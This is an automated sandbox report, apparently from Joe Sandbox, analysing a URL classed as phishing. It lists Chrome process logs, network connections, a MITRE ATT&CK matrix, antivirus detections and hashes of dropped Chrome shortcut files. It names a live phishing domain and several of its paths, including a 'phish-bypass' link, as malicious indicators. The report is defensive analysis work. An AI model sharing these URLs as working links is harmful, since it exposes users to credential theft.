Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: classification engine

Classification label: mal72.phis.win@16/22@10/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2432,i,15374466848034372760,4340357497403073754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2468 --field-trial-handle=2432,i,15374466848034372760,4340357497403073754,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown			Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk			Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk			Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX	100%	Avira URL Cloud	phishing

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://ai.toolsxsocial.in/cdn-cgi/phish-bypass?atok=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-%2Fadvance-server%2FK3bKKZbZXX	100%	Avira URL Cloud	phishing
https://ai.toolsxsocial.in/cdn-cgi/styles/cf.errors.css	100%	Avira URL Cloud	phishing
https://ai.toolsxsocial.in/data/manifest/	100%	Avira URL Cloud	phishing
https://ai.toolsxsocial.in/favicon.ico	100%	Avira URL Cloud	phishing
https://ai.toolsxsocial.in/cdn-cgi/images/icon-exclamation.png?1376755637	100%	Avira URL Cloud	phishing
https://ai.toolsxsocial.in/encryptedjs_pubg.png	100%	Avira URL Cloud	phishing

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false		high
scontent.xx.fbcdn.net	157.240.0.6	true	false		high
www.google.com	142.250.181.228	true	false		high
ai.toolsxsocial.in	188.114.97.3	true	true		unknown
static.xx.fbcdn.net	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://ai.toolsxsocial.in/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=0ycQxykmIltu9kVjuF0qZl6CnZddx2IhkqNilAXMgFLFowCTtVFfcnKGcolxhGBfzalbx3AVnuUaNsuXxCu7l3nFWSW%2B4BB9RU6IU3obdNayHXnDtzjtC88rkg9B%2F%2BSZGwgB4IM%3D	false		high
https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX	true		unknown
https://ai.toolsxsocial.in/cdn-cgi/phish-bypass?atok=4OvvS0_wIssJy60Kee05B1G6_fM7huLaJE3OuCm0hDI-1740182077-0.0.1.1-%2Fadvance-server%2FK3bKKZbZXX	false	Avira URL Cloud: phishing	unknown
https://ai.toolsxsocial.in/cdn-cgi/styles/cf.errors.css	false	Avira URL Cloud: phishing	unknown
https://ai.toolsxsocial.in/cdn-cgi/images/icon-exclamation.png?1376755637	false	Avira URL Cloud: phishing	unknown
https://static.xx.fbcdn.net/rsrc.php/v3/yT/l/0,cross/ygkXgVf1DoZ.css?_nc_x=Ij3Wp8lg5Kz	false		high
https://ai.toolsxsocial.in/data/manifest/	false	Avira URL Cloud: phishing	unknown
https://a.nel.cloudflare.com/report/v4?s=r%2BJ%2FYZdBP29dSiMAszfA0wOM88s3%2BuxyEDuMhc3gRBYA%2FZ%2BRVxA%2FxxOE%2BT6XQ5PdiQ6QeAHCtliq2JdpNmyuzgOJzAIskSU0Sw9Vcfg%2FEIKtz3%2FS6D9yrL9ed%2FwfjoSJe%2FMczBE%3D	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yf/l/0,cross/77Hot7ew_hn.css?_nc_x=Ij3Wp8lg5Kz	false		high
https://ai.toolsxsocial.in/encryptedjs_pubg.png	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://static.xx.fbcdn.net/rsrc.php/v3/yT/l/0	chromecache_59.2.dr	false		high
https://static.xx.fbcdn.net/rsrc.php/v3/yf/l/0	chromecache_59.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
157.240.0.6	scontent.xx.fbcdn.net	United States		32934	FACEBOOKUS	false
239.255.255.250	unknown	Reserved		unknown	unknown	false
188.114.97.3	ai.toolsxsocial.in	European Union		13335	CLOUDFLARENETUS	true
142.250.181.228	www.google.com	United States		15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States		15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1621567
Start date and time:	2025-02-22 00:53:34 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal72.phis.win@16/22@10/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.16.131, 108.177.15.84, 142.250.184.238, 142.250.185.142, 172.217.18.110, 2.23.77.188, 172.217.16.206, 142.250.186.142, 142.250.186.170, 142.250.184.202, 142.250.185.234, 142.250.186.138, 216.58.206.74, 172.217.18.10, 142.250.186.106, 216.58.212.170, 142.250.184.234, 142.250.185.202, 172.217.16.202, 142.250.186.74, 142.250.186.42, 142.250.181.234, 216.58.206.42, 142.250.185.74, 216.58.206.78, 172.217.18.14, 142.250.185.99, 142.250.186.110, 142.250.181.238, 2.19.106.160, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, accounts.google.com, redirector.gvt1.com, content-autofill.googleapis.com, slscr.update.microsoft.com, update.googleapis.com, clientservices.googleapis.com, clients.l.google.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://ai.toolsxsocial.in/advance-server/K3bKKZbZXX

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:54:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9824454153630207
Encrypted:	false
SSDEEP:	48:8E0dNTVl9HDidAKZdA1oehwiZUklqehay+3:8E2HGZy
MD5:	EA94EFFC7335F9991E3E7D0C3BAAA779
SHA1:	B78FDD6BC67637026C6C2EDCCB6DCE2574DACB86
SHA-256:	DA32928D7B2AE3E7F01A31099339672ACEACB0AE88C8060B6B7259182404E0A2
SHA-512:	2ECA9DDC71EF666354FD4527B0B6D5B770D802E9EFF792EFE6DF6B4CA3902AAEC5852BCB0E6713D6510F1D2FAD2F4A095B5AA7499AFF3688EBD6351114DC076C
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....L.......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IUZ.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............DL.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:54:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9988119865592657
Encrypted:	false
SSDEEP:	48:8x540dNTVl9HDidAKZdA1leh/iZUkAQkqehJy+2:802HE9QYy
MD5:	5F1DBF0058F374F850B7EA4A54AAD59A
SHA1:	151101404D101D7608CC8F1490B43AB05549A4AA
SHA-256:	B68058E6CC6643E8E7BDE3215EA3E02BB624179E28865F228D8F5BC57E99A331
SHA-512:	9E23F76946ADCD8951F2406FB2655FFBDA749F16951B8CAF2502CF7B1F9DF0FDF480FDAB0AA91BE89FA442290A2EB177AF800FE1AA11D9DC37608EF494096C02
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....k......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IUZ.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............DL.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.0070533197658165
Encrypted:	false
SSDEEP:	48:8s0dNTVlbHDidAKZdA14t5eh7sFiZUkmgqeh7sfy+BX:8s2HqnFy
MD5:	6C045C3A6FA4ECB5E404A0BD4AD5667D
SHA1:	1D49A5816A765C4EC8E79350099831D44D140D31
SHA-256:	301AAF77AC23CE2AC068D792071A53A0B2DD893484EF3EB3AD11E74AB5178B5A
SHA-512:	7E9EA27E483C35D259575A3C5E3585A3867297196BFE304A1961CEB5F04E3C99083871F7235B5AAF527FB183C40E8153A59A6D4E3327BA2AD22672779B3BFA56
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IUZ.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............DL.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:54:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9968394025557155
Encrypted:	false
SSDEEP:	48:8w0dNTVl9HDidAKZdA16ehDiZUkwqehty+R:8w2HfHy
MD5:	D6DC6BEBAF02588098F36644A4BEE585
SHA1:	1A0233E9CAE09B39F059A3DC35A2F1F81300F9E2
SHA-256:	62655B78E7A1CA3891C472CB3B77B8FDA4B205D4D1E752DEE5D346034B190044
SHA-512:	FDA0803C6443772B6E1EA32DF74BE40E117B200D31CE564BACDCA4A0EA1DE723360020BB7D7F62F8598159A79E05477F6FC7B96785579363989A23A7B2E2068E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....D......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IUZ.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............DL.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:54:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9856942702385085
Encrypted:	false
SSDEEP:	48:8D0dNTVl9HDidAKZdA1UehBiZUk1W1qeh7y+C:8D2H/9by
MD5:	CFB41FB38590943DC1851C1A3BD715DB
SHA1:	8722DB9112E568124F52C98ED289A20FBBCD46CA
SHA-256:	4944B5D6B4109B2127399D6A23D4120D83427D3A8B1C41EDCBB99B131799FF23
SHA-512:	278F7189FDB874DA6CC74BF243DB0F57E9246604E4D359D96C938019E49A3E7534929D5732F968641A87F01EFFFE6746EC0DB9076C274A6E76F283B0ABCDC063
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....0......N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.IUZ.....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VUZ.....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VUZ.....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VUZ............................"&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VUZ............................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i.............DL.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Feb 21 22:54:32 2025, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9973453268440915
Encrypted:	false
SSDEEP:	48:8C0dNTVl9HDidAKZdA1duTrehOuTbbiZUk5OjqehOuTbFy+yT+:8C2H4TYTbxWOvTbFy7T
MD5:	C4F41A2578A48ED3DCD240D0B985C2F6
SHA1:	F5DFE3E0815D0578DA038B1490808B78561606DD
SHA-256:	67B35733547A500E9A6D72E0734039863D7433A6EFBED11CF6C6FFB39CF780E0
SHA-512:	24DCE328F49BDA6C0FE6CB6B2B1E1AC59CF15D6318324FF81FE8A4DBB23C075B0F7FC0C17528C6FCC2D57B1C7436C2C3600FEE5E44D846D494FD1A8200FBED35
Malicious:	false
Reputation:	low
